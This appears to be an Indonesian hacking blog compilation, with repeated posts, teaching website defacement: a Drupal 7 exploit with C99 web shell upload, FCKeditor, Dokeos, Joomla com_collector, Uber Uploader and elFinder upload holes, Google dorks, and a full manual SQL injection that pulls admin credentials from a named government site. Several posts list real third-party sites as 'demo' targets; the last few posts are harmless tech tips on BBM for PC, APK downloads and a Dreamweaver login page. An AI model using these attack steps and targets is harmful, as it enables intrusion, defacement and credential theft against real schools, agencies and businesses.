Cara deface dengan Exploit Drupal Core 7.x
Assalamualaikum.... Kali ini A71P akan menerangkan cara deface site yang menggunakan CMS Drupal 7.x..
Siapkan bahan-bahannya:
1. Drupal Exploiter (Download)
2. C99 Shell (Download)
-------------------
1. Simpan tools exploit diatas dengan ekstensi php dan simpan di hostingan atau di localhost.
1. Google dork;
user : fuckyou
pass : admin
4. Lalu masuk ke http://site.com/node/add/article
( masukkan source backdoor nya dan Ubah format nya ke PHP Code )
lalu scroll kebawah dan klik Save
Dan anda akan langsung di direct ke shell anda
Titip Nama: Muslim Corporation Cyber # A71P Team # Hidden School Hacker # IFC # TK7 Ippi Team :D :D
Siapkan bahan-bahannya:
1. Drupal Exploiter (Download)
2. C99 Shell (Download)
Biasanya akan berhasil jika menggunakan shell c99Langkah-Langkah
-------------------
1. Simpan tools exploit diatas dengan ekstensi php dan simpan di hostingan atau di localhost.
1. Google dork;
intext:"powered by drupal" site:id atau inurl:"node/add/article" site:id2. Masukkan target dan tekan tombol "suck it ! " (jika berhasil penampakannya seperti dibawah ini)
3. Masuk ke url http://site.com/user/login
dan masukkanuser : fuckyou
pass : admin
4. Lalu masuk ke http://site.com/node/add/article
( masukkan source backdoor nya dan Ubah format nya ke PHP Code )
lalu scroll kebawah dan klik Save
Dan anda akan langsung di direct ke shell anda
setelah itu terserah anda..
Tag :
Hacking,
Teknik Remote File Upload Exploit Vulnerability
Ngga ada habis-habisnya kalo ngebahas soal hacking, Setiap hari berbagai macam exploit ditemukan. Dan sekarang saya akan share cara deface website
lagi sob. Tutorial ini saya dapat dari grup facebook Hacker Indonesia.
Namun karena masih banyak yang bingung, disini saya akan jelaskan
beserta gambarnya.
Ok, daripada lama-lama cerita, mending kita langsung aja ketutorialnya sob, Berikut Tutorial Deface dengan Teknik Remote File Upload Exploit Vulnerability :
1). Masukan salah satu dork diatas ke Seacrh Enginee Google.
2). Pilih salah satu website sebagai target.
3). Tampilan Webitenya nanti akan seperti ini.
4). Kemudian kode ini :
5). Ganti dengan kode ini, Lalu enter :
6). Jika sudah, kamu ubah pada Select the "File Uploader" to use: Ubah dari ASP menjadi PHP.
7). Kemudian kamu klik Choose File, kamu pilih salah satu file HTML deface'an kamu.
8). Lalu klik Send it to the Server.
9). Jika berhasil nanti akan muncul notice jika file yang kamu upload berhasil tanpa eror, dan pada kotak ( Upload File URL ) akan memberikan patch dimana file kamu berada.
10). Copykan saja file yang ada di ( Upload File URL ) lalu taruh dibelakang site target, jadi nanti akan terlihat seperti ini :
Screenshot :
Sekian postingan saya kali ini tentang Deface dengan Teknik Remote File Upload Exploit Vulnerability, semoga dapat bermanfaat untuk kalian semua.
Credits : Hacker Indonesia
We Are Anonymous !
Ok, daripada lama-lama cerita, mending kita langsung aja ketutorialnya sob, Berikut Tutorial Deface dengan Teknik Remote File Upload Exploit Vulnerability :
Dork :
inurl:/editor/editor/filemanager/
inurl:/HTMLEditor/editor/"
1). Masukan salah satu dork diatas ke Seacrh Enginee Google.
2). Pilih salah satu website sebagai target.
3). Tampilan Webitenya nanti akan seperti ini.
4). Kemudian kode ini :
editor/editor/filemanager/browser/mcpuk/images/icons/32/
5). Ganti dengan kode ini, Lalu enter :
editor/editor/filemanager/upload/test.html
6). Jika sudah, kamu ubah pada Select the "File Uploader" to use: Ubah dari ASP menjadi PHP.
7). Kemudian kamu klik Choose File, kamu pilih salah satu file HTML deface'an kamu.
8). Lalu klik Send it to the Server.
9). Jika berhasil nanti akan muncul notice jika file yang kamu upload berhasil tanpa eror, dan pada kotak ( Upload File URL ) akan memberikan patch dimana file kamu berada.
10). Copykan saja file yang ada di ( Upload File URL ) lalu taruh dibelakang site target, jadi nanti akan terlihat seperti ini :
http://www.tysk.ee/failid/Image/idulfitri(1).html
http://www.tysk.ee/failid/Image/3xpl0iter.html
Screenshot :
Sekian postingan saya kali ini tentang Deface dengan Teknik Remote File Upload Exploit Vulnerability, semoga dapat bermanfaat untuk kalian semua.
Credits : Hacker Indonesia
Tag :
Hacking,
Hacking Web Sch
Anda pasti tau apa itu Hacking website. Ya benar Hacking website adalah
Kegiatan menerobos yang dilakukan seseorang untuk mendapatkan info-info
dari halaman tersebut. Dan yang melakukan Hacking itu disebut Hacker.
Kali ini saya akan membuat sebuah artikel yang tidak jauh dari judul
posting ini. Wah judulnya saja udah menarik bukan. Saya akan memberikan
tutorial seperti judul diatas yaitu 'Cara Hack Website Sekolah (sch.id) Menggunakan Teknik File Upload'
Pada sebuah website sekolah yang akhiran alamatnya (sch.id) masih memiliki sebuah halaman File Upload yang sangat riskan dapat diterobos para Hacker. Nah pada halaman File Upload ini kita memanfaatkan untuk memasukan sebuah file yang kita buat. Sebuah file yang ber-ektensi (.txt .html .php) dll.
Dan saya akan Upload file ke sebuah website ber-ektensi (.txt).
1. Siapkan file .txt terlebih dahulu.
2. Jika file sudah dibuat, langkah selanjutnya adalah memasukkan Dork ke kotak pencarian www.google.com Di bawah ini beberapa dork yang akan kita pakai :
4. Setelah kita memasukkan dork, akan muncul banyak sekali website di pencarian Google. Pilih salah satu website yang akan kita Hack nanti.
5. Setelah memilih salah satu website, kemudian masukan kode di bawah ini setelah akhiran url website.
6. Setelah kita enter akan muncul halaman File Upload.
7. Nah setelah ini, kita akan Upload file yang sudah kita siapkan tadi.
Pada pilihan Asp ganti dengan PHP. Dan pilih telusuri untuk memilih file kita tadi. Kemudian klik Send it to the Server.
8. Jika berhasil akan muncul pesan seperti gambar dibawah ini.
9. Dan kita akan mendapatkan sebuah link hasil Upload kita.
10. Link hasil Upload kita seperti ini. Contoh :
11. Jika link benar dan hasil upload berhasil, akan muncul hasil upload file .txt kita tadi seperti gambar dibawah ini.
12. Selesai.
Cukup mudah bukan tutorial Hack website sekolah teknik file Upload.
Jika masih belum paham,coba dan pahami lagi
nitip nama :./A71P & Big Family Hidden School Hacker
Pada sebuah website sekolah yang akhiran alamatnya (sch.id) masih memiliki sebuah halaman File Upload yang sangat riskan dapat diterobos para Hacker. Nah pada halaman File Upload ini kita memanfaatkan untuk memasukan sebuah file yang kita buat. Sebuah file yang ber-ektensi (.txt .html .php) dll.
Dan saya akan Upload file ke sebuah website ber-ektensi (.txt).
1. Siapkan file .txt terlebih dahulu.
2. Jika file sudah dibuat, langkah selanjutnya adalah memasukkan Dork ke kotak pencarian www.google.com Di bawah ini beberapa dork yang akan kita pakai :
- inurl:/html/siswa.php?
- inurl:/html/alumni.php?
- inurl:/html/guru.php?
4. Setelah kita memasukkan dork, akan muncul banyak sekali website di pencarian Google. Pilih salah satu website yang akan kita Hack nanti.
5. Setelah memilih salah satu website, kemudian masukan kode di bawah ini setelah akhiran url website.
- /editor/filemanager/connectors/uploadtest.html
6. Setelah kita enter akan muncul halaman File Upload.
7. Nah setelah ini, kita akan Upload file yang sudah kita siapkan tadi.
Pada pilihan Asp ganti dengan PHP. Dan pilih telusuri untuk memilih file kita tadi. Kemudian klik Send it to the Server.
8. Jika berhasil akan muncul pesan seperti gambar dibawah ini.
9. Dan kita akan mendapatkan sebuah link hasil Upload kita.
10. Link hasil Upload kita seperti ini. Contoh :
11. Jika link benar dan hasil upload berhasil, akan muncul hasil upload file .txt kita tadi seperti gambar dibawah ini.
12. Selesai.
Cukup mudah bukan tutorial Hack website sekolah teknik file Upload.
Jika masih belum paham,coba dan pahami lagi
nitip nama :./A71P & Big Family Hidden School Hacker
Tag :
Hacking,
Hacking Tecknik Upload
Portail Dokeos vulnerability merupakan bugs upload file yang hampir mirip dengan FCK editor
karena sama-sama bisa kita gunakan untuk upload file deface/shell. Oke
deh langsung aja kita mulai langkah langkahnya, seperti biasa kita googling dulu target kita pake dork dibawah ini:
Name: Portal Dokeos Upload File Vulnerability
Dork: “Portail Dokeos 1.8.5”
Exploit: http://target.com/patch/main/inc/lib/fckeditor/editor/filemanager/upload/test.html
Udah siap semua kan langsung kita ke tkp target kita. Jika sudah masuk ke halaman upload dari web target kita ganti dulu pada ‘Select the “File Uploader” to use:’ dari asp kita ubah jadi php. Kalo udah kita langsung upload aja deh itu file deface/shell favorit kita.
Contoh live target :
Setelah berhasil kita upload, kita bisa lihat file upload file deface kita pake url berikut ini:
http://target.com/patch/main/upload/nama_file_anda
Oke deh sekian dulu tutor kali ini, selamat mencoba :-)
Nitip : ./A71P & big family Hidden School Hacker
Tag :
Hacking,
SQL Injection Manual
Pengertian SQL Injection
SQL Injection merupakan sebuah teknik hacking dimana seorang penyerang dapat memasukkan perintah-perintah SQL melalui url untuk dieksekusi oleh database. Penyebab utama dari celah ini adalah variable yang kurang di filter :
id=$id;……. > Got Error
Hal pertama yang harus kita lakukan adalah mengetahui apakah situs tersebut terkena celah SQL Injection atau tidak, yaitu dengan membuat sebuah error dengan menambahkan karakter ‘ setelah atau sesudah angka pada url.
Contoh :
http://situstarget.com/news.php?id=1’
http://situstarget.com/news.php?id=’1
Pertama kita cari dulu website yang memiliki celah SQL Injection. silahkan sobat cari target di google dengan menggunakan dork.
Dork SQLi :
Kemudian kita akan mencari dan menghitung jumlah tabel yang ada pada database web tersebut. silahkan sobat gunakan perintah : order by 1 - dan seterusnya sampai terjadi error pada halaman. gunaka tanda + sebagai spasi, dan pada akhir perintah gunakan tanda --.
http://diklat.lampungprov.go.id/more.php?id=1+order+by+1-- < No Error
http://diklat.lampungprov.go.id/more.php?id=1+order+by+2-- < No Error
http://diklat.lampungprov.go.id/more.php?id=1+order+by+3-- < No Error
http://diklat.lampungprov.go.id/more.php?id=1+order+by+4-- < No Error
http://diklat.lampungprov.go.id/more.php?id=1+order+by+5-- < No Error [Terlalu banyak diSkip aja]
http://diklat.lampungprov.go.id/more.php?id=1+order+by+17-- < No Error
http://diklat.lampungprov.go.id/more.php?id=1+order+by+18-- < Error
Pada angka 18 ternyata muncul error, jadi yang kita ambil angka sebelum munculnya pesan error. itu berarti jumlah tabel pada databasenya ada 17.
Selanjutnya kita akan mencari angka tabel yang bisa kita gunakan untuk perintah2 injection pada tahap selanjutnya. Gunakan perintah union select diikuti jumlah tabel dan tanda - sebelum angka dan diakhiri dengan tanda --. contoh:
http://diklat.lampungprov.go.id/more.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--
Disini bisa kita lihat bahwa angka yang muncul yaitu 16 dan 17. kedua angka tersebut nantinya yang akan kita masukkan perintah2 selanjutnya.
Pada tahap Selanjutnya kita akan mengetahui versi database yang dipakai oleh web tersebut. gunakan perintah "version()" atau "@@version".
contoh:
http://diklat.lampungprov.go.id/more.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,@@version,17--
Nah pada gambar kita bisa lihat versi database yang dipake adalah v.5.5.14, jadi pada versi 5 itu berberda dengan versi 4. prosesnya lebih repot pada versi 4, karena untuk melakukan perintah2 SQLi pada versi 4 kita harus menebak 1 per 1 tabel yang ada pada databasenya.
Sekarang perintah selanjutnya kita akan memunculkan nama-nama tabel yang ada pada web tersebut. gunakan perintah “group_concat(table_name)” dan menambahkan perintah “from+information_schema.tables+where+table_schema=database()" sesudah angka terakhir, dan diakhiri dengan tanda --.
contoh :
http://diklat.lampungprov.go.id/more.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,group_concat(table_name),17+from+information_schema.tables+where+table_schema=database()--
Disitu kita dapatkan nama-nama tabelnya sperti : tbadmin, tbbukutamu, tbcontent, tbcounter, tbdivisi, tbgolongan, tbjadwal, dll. Langkah selanjutnya kita akan mencari username dan password admin pada tabel tbadmin. Perlu diketahui bahwa tidak semua nama tabel pada setiap web itu sama, jadi untuk mencari tabel admin, silahkan sobat kira-kira saja dimana tabel yang sobat curigai tempat username dan password admin berada. Kemudian untuk mengeluarkan isi yang ada pada kolom tbadmin gunakan perintah berikut: “group_concat(columns_name) ” dan perintah “from+information_schema.columns+where+table_name=CHAR()" sesudah angka terakhir, dan diakhiri dengan tanda --. Pada tahap ini nama tabel tbadmin harus dikonversi dulu ke bentuk decimal :) silahkan sobat gunakan toolsnya DISINI. kemudian hasil konversi tbadmin adalah 116 98 97 100 109 105 110 lalu kita masukkan ke CHAR(116, 98, 97, 100, 109, 105, 110) dan pisahkan dengan koma. jadi perintahnya seperti berikut:
http://diklat.lampungprov.go.id/more.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,group_concat(column_name),17+from+information_schema.columns+where+table_name=CHAR(116, 98, 97, 100, 109, 105, 110)--
Nah disitu muncul kolom username, pswd, status. lalu langkah selanjutnya kita akan melihat isi dari kolom kolom yang muncul tadi dengan menambah perintah group_concat(username,0x3a,pswd,0x3a,status) . jangan lupa di setiap sela2 tambahkan kode 0x3a yg merupakan hasil konversi hexa dari tanda titik dua ( : ). lalu tambahkan perintah +from+tbadmin--, tbadmin merupakan tabel yang kita dapatkan tadi.
http://diklat.lampungprov.go.id/more.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,group_concat(username,0x3a,pswd,0x3a,status),17+from+tbadmin--
Nah kan udah keliatan username dan passwordnya.. :) dari gambar muncul data :
user1:8dfad4f7356a2e403c900b2944990ddc:1,user:8dfad4f7356a2e403c900b2944990ddc:0 selanjutnya sobat tinggal mengcrack password yang berbentuk md5 hash tersebut. untuk mengcracknya silahkan gunakan toolsnya disini. Selanjutnya tinggal mencari halaman logginnya. kalo semua sudah ketemu, tinggal loggin aja, jebreet jebreet jebreet :D
Saya kira hanya begitu saja, kurang lebih mohon maaf.. kalo ada kesalahan mohon diperbaiki :) wassalam :*
SQL Injection merupakan sebuah teknik hacking dimana seorang penyerang dapat memasukkan perintah-perintah SQL melalui url untuk dieksekusi oleh database. Penyebab utama dari celah ini adalah variable yang kurang di filter :
id=$id;……. > Got Error
Hal pertama yang harus kita lakukan adalah mengetahui apakah situs tersebut terkena celah SQL Injection atau tidak, yaitu dengan membuat sebuah error dengan menambahkan karakter ‘ setelah atau sesudah angka pada url.
Contoh :
http://situstarget.com/news.php?id=1’
http://situstarget.com/news.php?id=’1
Pertama kita cari dulu website yang memiliki celah SQL Injection. silahkan sobat cari target di google dengan menggunakan dork.
Dork SQLi :
inurl:azerty.php?id= ,Disini saya sudah menemukan targetnya : http://diklat.lampungprov.go.id/more.php?id=1
inurl:bouquin.php?id= ,
inurl:lien.php?id= ,
inurl:clavier.php?id=
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:games.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:opinions.php?id=
inurl:announce.php?id=
Kemudian kita akan mencari dan menghitung jumlah tabel yang ada pada database web tersebut. silahkan sobat gunakan perintah : order by 1 - dan seterusnya sampai terjadi error pada halaman. gunaka tanda + sebagai spasi, dan pada akhir perintah gunakan tanda --.
http://diklat.lampungprov.go.id/more.php?id=1+order+by+1-- < No Error
http://diklat.lampungprov.go.id/more.php?id=1+order+by+2-- < No Error
http://diklat.lampungprov.go.id/more.php?id=1+order+by+3-- < No Error
http://diklat.lampungprov.go.id/more.php?id=1+order+by+4-- < No Error
http://diklat.lampungprov.go.id/more.php?id=1+order+by+5-- < No Error [Terlalu banyak diSkip aja]
http://diklat.lampungprov.go.id/more.php?id=1+order+by+17-- < No Error
http://diklat.lampungprov.go.id/more.php?id=1+order+by+18-- < Error
Pada angka 18 ternyata muncul error, jadi yang kita ambil angka sebelum munculnya pesan error. itu berarti jumlah tabel pada databasenya ada 17.
Selanjutnya kita akan mencari angka tabel yang bisa kita gunakan untuk perintah2 injection pada tahap selanjutnya. Gunakan perintah union select diikuti jumlah tabel dan tanda - sebelum angka dan diakhiri dengan tanda --. contoh:
http://diklat.lampungprov.go.id/more.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--
Disini bisa kita lihat bahwa angka yang muncul yaitu 16 dan 17. kedua angka tersebut nantinya yang akan kita masukkan perintah2 selanjutnya.
Pada tahap Selanjutnya kita akan mengetahui versi database yang dipakai oleh web tersebut. gunakan perintah "version()" atau "@@version".
contoh:
http://diklat.lampungprov.go.id/more.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,@@version,17--
Nah pada gambar kita bisa lihat versi database yang dipake adalah v.5.5.14, jadi pada versi 5 itu berberda dengan versi 4. prosesnya lebih repot pada versi 4, karena untuk melakukan perintah2 SQLi pada versi 4 kita harus menebak 1 per 1 tabel yang ada pada databasenya.
Sekarang perintah selanjutnya kita akan memunculkan nama-nama tabel yang ada pada web tersebut. gunakan perintah “group_concat(table_name)” dan menambahkan perintah “from+information_schema.tables+where+table_schema=database()" sesudah angka terakhir, dan diakhiri dengan tanda --.
contoh :
http://diklat.lampungprov.go.id/more.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,group_concat(table_name),17+from+information_schema.tables+where+table_schema=database()--
Disitu kita dapatkan nama-nama tabelnya sperti : tbadmin, tbbukutamu, tbcontent, tbcounter, tbdivisi, tbgolongan, tbjadwal, dll. Langkah selanjutnya kita akan mencari username dan password admin pada tabel tbadmin. Perlu diketahui bahwa tidak semua nama tabel pada setiap web itu sama, jadi untuk mencari tabel admin, silahkan sobat kira-kira saja dimana tabel yang sobat curigai tempat username dan password admin berada. Kemudian untuk mengeluarkan isi yang ada pada kolom tbadmin gunakan perintah berikut: “group_concat(columns_name) ” dan perintah “from+information_schema.columns+where+table_name=CHAR()" sesudah angka terakhir, dan diakhiri dengan tanda --. Pada tahap ini nama tabel tbadmin harus dikonversi dulu ke bentuk decimal :) silahkan sobat gunakan toolsnya DISINI. kemudian hasil konversi tbadmin adalah 116 98 97 100 109 105 110 lalu kita masukkan ke CHAR(116, 98, 97, 100, 109, 105, 110) dan pisahkan dengan koma. jadi perintahnya seperti berikut:
http://diklat.lampungprov.go.id/more.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,group_concat(column_name),17+from+information_schema.columns+where+table_name=CHAR(116, 98, 97, 100, 109, 105, 110)--
Nah disitu muncul kolom username, pswd, status. lalu langkah selanjutnya kita akan melihat isi dari kolom kolom yang muncul tadi dengan menambah perintah group_concat(username,0x3a,pswd,0x3a,status) . jangan lupa di setiap sela2 tambahkan kode 0x3a yg merupakan hasil konversi hexa dari tanda titik dua ( : ). lalu tambahkan perintah +from+tbadmin--, tbadmin merupakan tabel yang kita dapatkan tadi.
http://diklat.lampungprov.go.id/more.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,group_concat(username,0x3a,pswd,0x3a,status),17+from+tbadmin--
Nah kan udah keliatan username dan passwordnya.. :) dari gambar muncul data :
user1:8dfad4f7356a2e403c900b2944990ddc:1,user:8dfad4f7356a2e403c900b2944990ddc:0 selanjutnya sobat tinggal mengcrack password yang berbentuk md5 hash tersebut. untuk mengcracknya silahkan gunakan toolsnya disini. Selanjutnya tinggal mencari halaman logginnya. kalo semua sudah ketemu, tinggal loggin aja, jebreet jebreet jebreet :D
Saya kira hanya begitu saja, kurang lebih mohon maaf.. kalo ada kesalahan mohon diperbaiki :) wassalam :*
Tag :
Hacking,
Coba Dulu Baru Kommen, BBM lewat pc
Setelah peluncuran bbm for android beberapa waktu lalu, banyak yang
tertarik untuk mencobanya atau malah rela membeli handheld android
terbaru yang ber OS Android 4.0 ke atas (Ice Cream Sandwich dan Jelly
Bean). yang merupakan salah satu sarat OS minimum untuk bisa ber BB ria
melalui android phone.
tapi bagi yang iseng2 pengen mencoba ber BBm-an ria, sekarang tidak perlu membeli handheld android yang harga nya lumayan buat kantong pas-pasan. Cukup manfaatkan PC atau Laptop dirumah untuk di gunakan ber BBm-an ria. Kalau tidak punya PC atau Laptop dirumah ya terpaksa beli hape android, atau bisa pinjam PC di warnet, Lumayan buat sekedar melampiaskan penasaran bagaimana bentuknya BBM di PC/LAPTOP dengan Bluestack
sekedar catatan, cara ini sudah di coba dan berhasil di Laptop asus A42F ber-OS window7 64-bit RAM 6 Gb, dengan mesin Intel(R) Core(TM) i3 CPU M350@2.27GHz
CARA MUDAH BBM di PC/LAPTOP dengan BLUESTACKS, begini caranya:
1. Download bluestacks DISINI untuk online installer nya.
2. Setelah selesai download kemudian install bluestacksnya. Mohon bersabar proses ini memakan waktu cukup lama tergantung koneksi yang dipakai. Kurang lebih satu jam dengan speed rata2 150KB/s.
3. Setelah selesai instalasi. Close saja dulu blustacksnya,
4. Update display adapter driver (optional), lalu restart computer/laptop
5. Download file apk BBM DISINI
6. Setelah selesai download, instal file apk nya.
7. Setelah selesai terinstal, buka bluestacks
8. Klik icon BBm. Silakan login atau create ID baru
9. Selesai CARA MUDAH BBM di PC/LAPTOP dengan BLUESTACKS.
Selamat menikmati BBM-an via pc/laptop
Semoga bermanfaat, BBm dengan CARA MUDAH BBM di PC/LAPTOP dengan BLUESTACKS.
tapi bagi yang iseng2 pengen mencoba ber BBm-an ria, sekarang tidak perlu membeli handheld android yang harga nya lumayan buat kantong pas-pasan. Cukup manfaatkan PC atau Laptop dirumah untuk di gunakan ber BBm-an ria. Kalau tidak punya PC atau Laptop dirumah ya terpaksa beli hape android, atau bisa pinjam PC di warnet, Lumayan buat sekedar melampiaskan penasaran bagaimana bentuknya BBM di PC/LAPTOP dengan Bluestack
sekedar catatan, cara ini sudah di coba dan berhasil di Laptop asus A42F ber-OS window7 64-bit RAM 6 Gb, dengan mesin Intel(R) Core(TM) i3 CPU M350@2.27GHz
CARA MUDAH BBM di PC/LAPTOP dengan BLUESTACKS, begini caranya:
1. Download bluestacks DISINI untuk online installer nya.
2. Setelah selesai download kemudian install bluestacksnya. Mohon bersabar proses ini memakan waktu cukup lama tergantung koneksi yang dipakai. Kurang lebih satu jam dengan speed rata2 150KB/s.
3. Setelah selesai instalasi. Close saja dulu blustacksnya,
4. Update display adapter driver (optional), lalu restart computer/laptop
5. Download file apk BBM DISINI
6. Setelah selesai download, instal file apk nya.
7. Setelah selesai terinstal, buka bluestacks
8. Klik icon BBm. Silakan login atau create ID baru
9. Selesai CARA MUDAH BBM di PC/LAPTOP dengan BLUESTACKS.
Selamat menikmati BBM-an via pc/laptop
Semoga bermanfaat, BBm dengan CARA MUDAH BBM di PC/LAPTOP dengan BLUESTACKS.
Tag :
Tips Dan Trik,
Download Apk Dari Play Store Ke PC/Laptop
Aplikasi Android di kemas kedalam file-file APK. Anda bisa menggunakan aplikasi file managermanapun untuk menyalin file-file ini dari komputer ke perangkat Android dan kemudian menyentuh file .apk untuk memulai install, untuk memasang aplikasi tersebut kedalam smartphone atau tablet Android kamu.
Ada sejumlah alasan kenapa anda ingin download installer APK dari aplikasi Android dari Google Play Store.
Ada sejumlah alasan kenapa anda ingin download installer APK dari aplikasi Android dari Google Play Store.
- Google Play Store mendeteksi bahwa aplikasi atau game yang ingin anda download tidak kompatibel dengan perangkat Android anda, meskipun anda yakin bahwa aplikasi tersebut bisa beroperasi di perangkat anda. Contohnya aplikasi APK BBM untuk Android.
- Terkadang sebuah aplikasi Android bisa jadi tidak tersedia untuk di download di Play Store negara / daerah tempat kamu berdomisili.
- Bisa jadi perangkat anda tidak memiliki Play Store, seperti tablet Amazon Kindle.
- Atau juga perangkat anda terdeteksi palsu oleh Play Store, silahkan cek apakah HP Android anda asli atau replika / palsu.
Untuk memulainya anda cukup memasukan alamat URL web dari aplikasi apapun yang terdaftar dari Google Play Store dan klik tombol Generated Download Link. Aplikasi download APK akan menarik file APK dari Google Play Store dan akan menyimpannya kedalam server mereka dari situ kamu bisa download file-nya.
Keuntungan menggunakan APK Downloader.
Dikarenakan file-file APK tersebut langsung di ambil dari Google Play Store, maka kemungkinan besar aplikasi Android tersebut tidak akan terinfeksi oleh malware.
Dan untuk mencegah masalah hak cipta, APK downloader hanya membolehkan anda untuk download aplikasi dan game gratis dari Google Play Store, bukan aplikasi yang berbayar.
Tentu untuk menggunakan layanan APK Downloader dari Evozi anda tidak perlu terlebih dahuluroot Android anda. Jadi tidak usah khawatir. Cukup memasukan alamat URL dari aplikasi yang ada di Google Play Store yang ingin anda ambil file apk-nya maka beres sudah.
Silahkan ke website APK Downloader miliknya Evozi.
Tag :
android,
cara Deface dengan mudah memanfaatkan Bugs pada shell Upload.
Jika anda ingin melakukan aksi Deface dengan sangat mudah, disini
saya akan mengeshare bagaimana cara Deface dengan mudah memanfaatkan
Bugs pada shell Upload.
POC/Exploit: http://localhost/e-diary/makehtml/fileupload.php
Demo:
- http://www.old.crcn.in.th/e-diary/makeht…upload.php
- http://www.ped.si.mahidol.ac.th/e-diary/…upload.php
POC/Exploit : http://localhost/[path]/index.php?option=com_collector&view=filelist&tmpl= component&folder=&type=1
Demo :
http://www.immortal-thor.com//index.php?option=com_collector&view=filelist&tmpl=%20component&folder=&type=1
http://belmuzfond.com/index.php?option=com_collector&view=filelist&tmpl=%20component&folder=&type=1
http://www.volontarimini.it/volontarimini2012/index.php?option=com_collector&view=filelist&tmpl=component&folder=&type=1
http://www.moepooladfar.org/index.php?option=com_collector&view=filelist&tmpl=%20component&folder=&type=1
“Powered By Uber Uploader”
allinurl: uu_file_upload.php
allinurl: uber_uploader_file.php
POC : http://[localhost]/uploads/file kamu
Demo :
http://tv.fuerzw.de/upload/uu_file_upload.php
http://www.cptmkt.com/uu_file_upload.php
intitle:index of
POC: http://localhost/Patch/elfinder/elfinder.php.html or elfinder.php
1. Shell Upload “template.php?component=”
Dork: inurl:mdbtemplate/mytemplatePOC/Exploit: http://localhost/e-diary/makehtml/fileupload.php
Demo:
- http://www.old.crcn.in.th/e-diary/makeht…upload.php
- http://www.ped.si.mahidol.ac.th/e-diary/…upload.php
2. Joomla com_collector upload shell
Dork : inurl:index.php?option=com_collectorPOC/Exploit : http://localhost/[path]/index.php?option=com_collector&view=filelist&tmpl= component&folder=&type=1
Demo :
http://www.getravel.gr/site/index.php?option=com_collector&view=filelist&tmpl=%20component&folder=&type=1http://www.immortal-thor.com//index.php?option=com_collector&view=filelist&tmpl=%20component&folder=&type=1
http://belmuzfond.com/index.php?option=com_collector&view=filelist&tmpl=%20component&folder=&type=1
http://www.volontarimini.it/volontarimini2012/index.php?option=com_collector&view=filelist&tmpl=component&folder=&type=1
http://www.moepooladfar.org/index.php?option=com_collector&view=filelist&tmpl=%20component&folder=&type=1
3. Uber Uploader 5.3.6 Vuln Upload
Dork:“Powered By Uber Uploader”
allinurl: uu_file_upload.php
allinurl: uber_uploader_file.php
POC : http://[localhost]/uploads/file kamu
Demo :
http://tv.fuerzw.de/upload/uu_file_upload.php
http://www.cptmkt.com/uu_file_upload.php
4. elFinder Shell Upload Vulnerability
DORK: inurl:/elfinder/intitle:index of
POC: http://localhost/Patch/elfinder/elfinder.php.html or elfinder.php
Tag :
Hacking,
Membuat CMS PHP MySQL (Part 3)
Melindungi halaman admin dengan Username dan Password
Halaman website yang tersimpan dalam folder admin sifatnya adalah rahasia. Semua halaman hanya dapat diakses jika seseorang telah melakukan login dengan username dan password. Oleh karena itu Anda harus melindungi halaman-halaman admin tersebut.Setiap aktivitas membuka file di halaman admin yang tanpa melalui login dengan username dan password yang benar, maka Anda akan dialihkan ke halaman login. Berikut langkah-langkahnya:
- Buka file admin.php dengan Dreamweaver Anda
- Klik Insert > Data Objects > User Authentication > Restric Access To Page. Jendela ini akan keluar, lakukan beberapa setingan berikut ini
- Restric based on: Username and Password
- If access denied, go to: login.php. Klik Browse lalu pilih file login.php. Ini artinya ketika halaman admin.php ingin Anda buka dan Anda belum melakukan login dengan username dan password yang benar, maka Anda akan dialihkan ke halaman login.php.
- Klik OK untuk menyelesaikannya. Lalu simpan hasil pekerjaan Anda
Menambahkan dan mengaktifkan link Log Out
Langkah selanjutnya adalah mengaktifkan link Log Out yang ada di halaman admin.php. Berikut adalah langkah-langkahnya.- Buka file admin.php
- Cari dan seleksi (blok) tulisan Log Out yang berada di sudut kiri bawah sidebar halaman website Anda. Gunakan Design View untuk melakukannya. Di sana Anda akan menemukan tulisan Log Out dengan gambar merah beserta link berisi tanda kres (#).
- Klik Insert > Data Objects > User Authentication > Log Out User. Jendela Log Out User akan keluar lalu lakukan konfigurasi.
- Log Out when: Link Clicked
- When done, go to: login.php. Klik Browse lalu cari file login.php, ini artinya ketika proses Log Out berhasil dilakukan Anda akan dialihkan ke halaman login.php
- Klik OK untuk menyelesaiaknnya. Simpan kembali file Anda.
Membuat halaman login (login.php)
Anda telah berhasil melindungi semua halaman website yang tersimpan dalam folder admin dengan username dan password (kecuali halaman login.php). Langkah selanjutnya Anda akan membuat halaman login dan mengaktifkannya. Bagian ini akan terdiri dari dua tahap, yaitu:- Membuat form login
- Mengaktifkan form login
Membuat form login:
- Buka halaman login.php melalui Dreamweaver Anda.
- Di sana Anda akan menemukan tulisan “Form login di sini”. Hapus tulisan tersebut, di sana Anda akan membuat form login tersebut
- Klik Insert > Form > Form
- Klik Insert > Spry > Spry Validation Text Field. Jendela Input Tag akan muncul, lalu isi dengan data berikut ini.
- ID: username, lalu Label: Username:<br>. Lalu klik OK. Letakkan kursor Anda setelah text field, lalu tekan ENTER
- Klik Insert > Spry > Spry Validation Password. Jendela Input Tag akan keluar. Lakukan konfigurasi berikut ini
- ID: password, lalu Label: Password:<br>. Klik OK, letakkan kursor Anda setelah password field, tekan ENTER
- Klik Insert > Form > Button
- ID: submit, biarkan Label-nya kosong. Klik OK
- Klik tombol Submit tersebut, lalu Copy, letakkan kursor Anda di samping kanan dari tombol tersebut, lalu Paste
- Klik tombol Submit yang baru saja Anda Paste tadi, lalu melalui panel Properties ubah menjadi Reset form
- Simpan kembali hasil pekerjaan Anda.
